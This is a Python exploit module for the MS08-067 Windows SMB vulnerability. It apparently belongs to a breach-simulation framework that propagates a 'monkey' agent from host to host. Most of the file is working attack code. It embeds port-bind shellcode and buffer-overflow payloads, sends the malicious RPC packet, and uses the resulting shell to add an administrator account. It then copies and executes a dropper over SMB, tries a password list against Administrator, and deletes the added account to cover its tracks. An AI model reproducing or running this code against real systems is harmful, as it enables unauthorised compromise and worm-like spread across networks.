#!/usr/bin/env python ############################################################################# # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) # www.hackingspirits.com # www.coffeeandsecurity.com # Email: d3basis.m0hanty @ gmail.com ############################################################################# import socket import time from logging import getLogger from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from network import SMBFinger from network.tools import check_port_tcp from tools import build_monkey_commandline from . import HostExploiter LOG = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84" SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" # Payload for Windows 2000 target PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' PAYLOAD_2000 += '\x41\x41' PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\xeb\xcc' PAYLOAD_2000 += '\x00\x00' # Payload for Windows 2003[SP2] target PAYLOAD_2003 = '\x41\x00\x5c\x00' PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00' PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77' PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00' PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae' PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00' PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43' PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff' PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75' PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5' PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6' PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00' class WindowsVersion(IntEnum): Windows2000 = 1 Windows2003_SP2 = 2 class SRVSVC_Exploit(object): TELNET_PORT = 4444 def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445): self._port = port self._target = target_addr self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003 def get_telnet_port(self): """get_telnet_port() The port on which the Telnet service will listen. """ return SRVSVC_Exploit.TELNET_PORT def start(self): """start() -> socket Exploit the target machine and return a socket connected to it's listening Telnet service. """ target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target LOG.debug("Initiating exploit connection (%s)", target_rpc_name) self._trans = transport.DCERPCTransportFactory(target_rpc_name) self._trans.connect() LOG.debug("Connected to %s", target_rpc_name) self._dce = self._trans.DCERPC_class(self._trans) self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) dce_packet = self._build_dce_packet() self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation LOG.debug("Exploit sent to %s successfully...", self._target) LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port()) sock = socket.socket() sock.connect((self._target, self.get_telnet_port())) return sock def _build_dce_packet(self): # Constructing Malicious Packet dce_packet = '\x01\x00\x00\x00' dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' dce_packet += SHELLCODE dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x00\x00\x00\x00' dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' dce_packet += self._payload dce_packet += '\x00\x00\x00\x00' dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00' dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00' dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00' dce_packet += '\x01\x00\x00\x00' return dce_packet class Ms08_067_Exploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2} def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self._guid = __import__('config').GUID def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ self.host.os.get('version') in self._windows_versions.keys(): return True if not self.host.os.get('type') or ( self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(self.host): return self.host.os.get('type') in self._TARGET_OS_TYPE and \ self.host.os.get('version') in self._windows_versions.keys() return False def exploit_host(self): src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2) exploited = False for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) try: sock = exploit.start() sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % (self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass, self._config.ms08_067_remote_user_add)) time.sleep(2) reply = sock.recv(1000) LOG.debug("Exploited into %r using MS08-067", self.host) exploited = True break except Exception as exc: LOG.debug("Error exploiting victim %r: (%s)", self.host, exc) continue if not exploited: LOG.debug("Exploiter MS08-067 is giving up...") return False # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path, "Administrator", password) if remote_full_path: break if not remote_full_path: return False # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) try: sock.send("start %s\r\n" % (cmdline,)) sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False finally: try: sock.close() except socket.error: pass LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline) return True